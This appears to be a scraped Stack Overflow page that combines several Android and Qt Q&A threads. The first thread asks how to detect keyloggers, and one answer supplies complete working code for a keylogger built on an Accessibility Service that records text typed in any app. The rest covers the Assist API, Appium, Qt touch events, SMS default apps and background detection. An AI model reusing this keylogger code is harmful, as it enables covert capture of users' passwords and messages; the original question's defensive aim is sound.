Intro: I want to create a POC on Android Security which requires to identify if there is any KeyLogger running on Android device or not. And if it is running or installed on device then, disable it throughout my Android application.
Queries:
1.) Is this possible to create Android keyloggers which intercepts keyboard events and running in background as services?
2.) Is this possible to identify if any of the background process handelling keyboard events?
3.) Can I stop any other background service (not owned by me) by my application code?
Please help me with suitable links if you have.
I know this question already has an accepted answer but I disagree with the accepted answer!
This can be done in android via the accessibility APIs.
Take a look at the below program :
Type Machine
It uses the accessibility APIs, and correctly stores every key stroke you type in any application which is essentially what a key logger does!
EDIT : I am not exactly sure what TypeMachine uses but you should be able to get the text from accessibility service using this method.
For Example, the following code can be used to get a new text:
void onViewTextChanged(AccessibilityEvent accessibilityEvent, AccessibilityNodeInfo accessibilityNodeInfo) {
List text = accessibilityEvent.getText();
CharSequence latestText = (CharSequence) text.get(0);
Log.i(MY_TAG, latestText.toString());
}
As a follow up on #ananth's answer, here is a complete code example on how to implement a keylogger using Accessibility Service.
But, this requires permissions to bind your Service with the system and also the user has to explicitly turn on the Service you create by navigating to Settings>Accessibility>{Your app name} on Android devices. So, if you have evil intensions, good luck with that.
Step 1: Paste this in your manifest file.
<application>
...
<service android:name=".MyAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
</service>
</application>
Step 2: Create a class for your Accessibility Service.
public class MyAccessibilityService extends AccessibilityService {
#Override
public void onAccessibilityEvent(AccessibilityEvent event) {
final int eventType = event.getEventType();
String eventText = null;
switch(eventType) {
/*
You can use catch other events like touch and focus
case AccessibilityEvent.TYPE_VIEW_CLICKED:
eventText = "Clicked: ";
break;
case AccessibilityEvent.TYPE_VIEW_FOCUSED:
eventText = "Focused: ";
break;
*/
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
eventText = "Typed: ";
break;
}
eventText = eventText + event.getText();
//print the typed text in the console. Or do anything you want here.
System.out.println("ACCESSIBILITY SERVICE : "+eventText);
}
#Override
public void onInterrupt() {
//whatever
}
#Override
public void onServiceConnected() {
//configure our Accessibility service
AccessibilityServiceInfo info=getServiceInfo();
info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
info.notificationTimeout = 100;
this.setServiceInfo(info);
}
}
That's it. Now, everything the user types in any app on their phone will be logged to the console. You can configure the above class to listen to the keystrokes from certain specified apps only if you want to. The above class is independent of your MainActivity. The service will get registered as soon as your app is installed. But, again, in order to work, this requires manual toggling of settings as mentioned previously.
Read the docs for detailed explanation on what Accessibility is and details on each of the classes and methods used above.
After research for 1 whole day I reached at below conclusion.
Android does not allow you to intercepts default soft keyboard inputs from background services. The only way to intercepts these events are custom keyboards.
I have summarized it as follows:
In Android Key logging for keyboard events is not supported in background services. Some of the links are as follows:
Point 1: Google Android Developer
As soft input methods can use multiple and inventive ways of inputting text, there is no guarantee that any key press on a soft keyboard will generate a key event: this is left to the IME's discretion, and in fact sending such events is discouraged. You should never rely on receiving KeyEvents for any key on a soft input method. In particular, the default software keyboard will never send any key event to any application targetting Jelly Bean or later, and will only send events for some presses of the delete and return keys to applications targetting Ice Cream Sandwich or earlier.
http://developer.android.com/reference/android/view/KeyEvent.html
Android Jelly Bean is: 4.1 to 4.3.1
Android IceCream Sandwich: 4.0
Key presses on soft input methods are not required to trigger the methods in this listener, and are in fact discouraged to do so. The default android keyboard will not trigger these for any key to any application targetting Jelly Bean or later, and will only deliver it for some key presses to applications targetting Ice Cream Sandwich or earlier.
http://developer.android.com/reference/android/text/method/KeyListener.html
Point 2: Stack Overflow
KeyEvents can only be handled by Activities as they are the interface to the user pressing the keys and only when they are in the foreground. Even Services that run in the background are not intended to react on user input.
Android - Listener for hard keys press at background
Is it possible to create an Android Service that listens for hardware key presses?
Point 3: Romain Guy
Romain Guy (https://stackoverflow.com/users/298575/romain-guy) who works for Google also confirms it
onKeyDown in a service? (Global Hot Keys)
Point 4: Some Other reference:
Google android-developers Group : https://groups.google.com/forum/#!topic/android-developers/o--GUWmqXdI
It can be done only by using Custom KeyBoard: get pressed key and throw another key in android
Please add your comments if you think that I have missed anything.
Related
I am trying to use Assist api inside my application, i followed most of the tutorials, but could not find a proper tutorial which will completely tell how it should be implemented. i have added this to the activity. is there anything else to be done in manifest or anywhere in the project. When debugged this below method got called but nothing
#Override
public void onProvideAssistContent(AssistContent outContent) {
super.onProvideAssistContent(outContent);
outContent.setWebUri(Uri.parse("https://commonsware.com"));
try {
String structuredJson = new JSONObject()
.put("#type", "Book")
.put("#author", "https://commonsware.com/mmurphy")
.put("publisher", "CommonsWare, LLC")
.put("name", "The Busy Coder's Guide to Android Development")
.toString();
outContent.setStructuredData(structuredJson);
}catch(JSONException jsonEx){
Log.e(getClass().getSimpleName(), "What happend", jsonEx);
}
}
i am seeing, it always shows NOTHING FOUND ON THE SCREEN when i long tapped the home button
i want to simply open a url through assist api from my application by long tap on home button
That is not your decision to make. You can offer a URL to the assistant. What the assistant does with that URL, if anything, is up to the developers of the assistant.
In my tests when the Assist API came out, I concluded that the then-current implementation of Google's Now on Tap ignored onProvideAssistContent(), but that the onProvideAssistContent()-supplied data was available if assistants wanted it.
what i need to modify
To force the assistant to do something with onProvideAssistContent(), you would need to write your own assistant, then convince the user to switch to your assistant.
I am trying to automate one part of an android application I wrote. I this activity I have a edittext which is used to enter a product number.
Once the product number is entered the user clicks on the software keyboards send button to initiate a search for that product, however I am not able to simulate the softkeyboard's send/enter key using java-appium.
The following code works well in android 4.4.4 and below but not in android 6.0+
element.sendKeys(productNumber + "\n");
The code below does not work either
element.sendKeys(productNumber + Keys.ENTER);
I have found that only this solution is the most reliable one - mocking manual submit button tap.
static void submit() {
Dimension screen = mobileDriver.manage().window().getSize();
mobileDriver.tap(1, screen.getWidth() - 20, screen.getHeight() - 20);
}
Context: I'm trying to create a fader-like widget that can have multiple instances in the same view, each of which can be controlled simultaneously by different fingers.
I want to use Qt's gesture recognition system, but I also need some functionality above and beyond the standard Qt::PanGesture. To this end, I've subclassed both QGesture and QGestureRecognizer. In FooGestureRecognizer::recognize(...), I'm currently intercepting both QMouseEvents and QTouchEvents (for the time being, at least).
On Windows I only receive QMouseEvents - I handle them and everything works as expected (though obviously I don't have to deal with the multitouch problem when my input is from a physical mouse). The events I receive (in order):
QEvent::MouseButtonPress
A string of QEvent::MouseMoves
QEvent::MouseButtonRelease
On Android, I receive a strange mix of QMouseEvents and QTouchEvents (in order):
QEvent::TouchBegin
QEvent::MouseButtonPress
QEvent::MouseMove (with no actual change in position)
Another QEvent::MouseButtonPress (not sure why I needed another one)
My actual string of QEvent::MouseMoves, as expected
QEvent::MouseButtonRelease
The global attribute Qt::AA_SynthesizeMouseForUnhandledTouchEvents is true by default. Turning it off changes the events I receive to:
QEvent::TouchBegin
...nothing else.
Here's a precursor question then: What can I do inside QGestureRecognizer::recognize() to tell Qt that I'm handling the QEvent::TouchBegin, and that it doesn't need to synthesize a QEvent::MouseButtonPress for me? event->accept() doesn't appear to make any difference.
The actual question: If (as it appears) Qt is synthesizing MouseEvents from TouchEvents, why do I see I see QEvent::MouseMove and QEvent::MouseButtonRelease but not QEvent::TouchUpdate or QEvent::TouchRelease?
Code is available, but in the interests of conciseness I've not included it here. Please ask if needed.
From the QTouchEvent docs:
The QEvent::TouchUpdate and QEvent::TouchEnd events are sent to the widget or item that accepted the QEvent::TouchBegin event. If the QEvent::TouchBegin event is not accepted and not filtered by an event filter, then no further touch events are sent until the next QEvent::TouchBegin.
The root of this problem is that QGestureRecognizer does not accept the initial TouchBegin, and hence we don't receive any further touch events. I got around this by:
Creating a thin event filter QObject owned by my QGestureRecognizer.
Containing the following code:
bool FooGestureRecognizer::FooEventFilter::eventFilter(QObject *Object, QEvent *Event)
{
if(Event->type() == QEvent::TouchBegin)
{
return true;
}
else
{
return QObject::eventFilter(Object, Event);
}
}
Installing my event filter AND calling setAttribute(Qt::WA_AcceptTouchEvents) on every valid* Target that comes through FooGestureRecognizer::create().
Returning true from eventFilter tells Qt that my fader is interested in receiving further touch events, and these touch events are delivered as expected to the gesture recognizer.
This solution feels like a hack, and one that might not be necessary in future versions of Qt, so I'm going to keep an eye on this code.
Notes:
During the construction of a QGestureRecognizer, create() is called with a null Target (expecting a dummy QGesture to be returned). Watch out for this if you're installing event filters on all Targets.
My application needs to handle desktop mouse events in one way, and multi-finger touch events in another, so I've disabled Qt::AA_SynthesizeMouseForUnhandledTouchEvents. Keeping this enabled may lead to other considerations (e.g. I'm not sure if you'd need to return true for all touch events in eventFilter, so as to avoid them being duplicated as synthesised mouse events).
in agreement with the recent post from Android Developers http://android-developers.blogspot.pt/2013/10/getting-your-sms-apps-ready-for-kitkat.html ,I was trying to prepare my app to the new android version, but encountered a problem with the part they suggest to create a dialog to let the user set the app as the default application to handle SMS's :
Android Developers Post
public class ComposeSmsActivity extends Activity {
#Override
protected void onResume() {
super.onResume();
final String myPackageName = getPackageName();
if (!Telephony.Sms.getDefaultSmsPackage(this).equals(myPackageName)) {
// App is not default.
// Show the "not currently set as the default SMS app" interface
View viewGroup = findViewById(R.id.not_default_app);
viewGroup.setVisibility(View.VISIBLE);
// Set up a button that allows the user to change the default SMS app
Button button = (Button) findViewById(R.id.change_default_app);
button.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
Intent intent =
new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT);
intent.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME,
myPackageName);
startActivity(intent);
}
});
} else {
// App is the default.
// Hide the "not currently set as the default SMS app" interface
View viewGroup = findViewById(R.id.not_default_app);
viewGroup.setVisibility(View.GONE);
}
}
}
the code itself in pretty much straightforward, but I'm unable to access to Telephony.Sms.getDefaultSmsPackage because it says that Telephony cannot be resolved, and I can't find any import or declaration that would fix that.
Can anyone please help?
android.provider.Telephony simply doesn't exist yet (as of API 18 - 4.3).
This class will be added in 4.4 (presumably API 19), and that blog post is highlighting the changes that you should make once the new API is released so you aren't surprised when the time comes.
From the end of the post:
To help you make the changes, we'll soon be providing the necessary SDK components for Android 4.4 that allow you to compile and test your changes on Android 4.4.
Don't forget that you should wrap this code in an API version check so you don't run into issues with older versions that don't have this class.
this change will break all the SMS blocking apps.
"Note that—beginning with Android 4.4—any attempt by your app to abort the SMS_RECEIVED_ACTION broadcast will be ignored so all apps interested have the chance to receive it."
Do you think there is a way to go around this?!
Maybe at least on Root?
Apparently there is with root access. The latest version Cerberus app claim to be doing this.
Now, if only I knew how they do it :(
I want to check if my app is running on a background mode.
The problem is that i have many activities(list activities, map activities etc.). Initially I have tried in the life cycle's resume and pause(or the onUserLeaveHint) methods to set a static boolean as true or false and work with this way. But this obviously can't work because when I move from one activity to another, the previous one get paused.
Also, I've read here on stackoverflow that the getRunningTasks() should be used only for debugging purposes. I did a huge research but I can't find a solution. All I want to do is to be able to detect if a the app is running on a background. Can anyone propose me a way, or express any thought on how can I do that?
You can try the same mechanism (a boolean attribute) but on application side rather than activity side. Create a class which extends Application, declare it in the manifest file under <application android:name=YourClassApp>.
EDIT: I assume you know that activities aren't intended for background processing, if not you should take a look at the Services.
I don't know if this will help but you can use
getApplicaton().registerActivityLifecycleCallbacks(yourClass);
To get a birds eye view of how your activities are displayed in the FG. (For older s/w you can use this)
If your Application has a Service you could have a static get/set which accesses a static variable. Do not do this in Activities though, it causes mem leaks.
But realistically speaking there is no tidy way of tracking if your application is running or not.
I had the same problemen when overwriting the Firebase push messaging default behavior (show notifications only when in the background) I checked how Firebase did this by looking in the .class file com.google.firebase.messaging.zzb:53 (firebase-messaging:19.0.1) which appears to us getRunningAppProcesses. Mind you FireBase is created by Google them self. So I'm assuming it's pretty save to use. Cleaned up version:
List<ActivityManager.RunningAppProcessInfo> runningApps;
boolean isInForeground =false;
if ((runningApps = ((ActivityManager)this.getApplication().getSystemService(Context.ACTIVITY_SERVICE)).getRunningAppProcesses()) != null) {
Iterator runningApp = runningApps.iterator();
int myPid = Process.myPid();
while(runningApp.hasNext()) {
ActivityManager.RunningAppProcessInfo processInfo;
if ((processInfo = (ActivityManager.RunningAppProcessInfo)runningApp.next()).pid == myPid) {
isInForeground = processInfo.importance == 100;
break;
}
}
}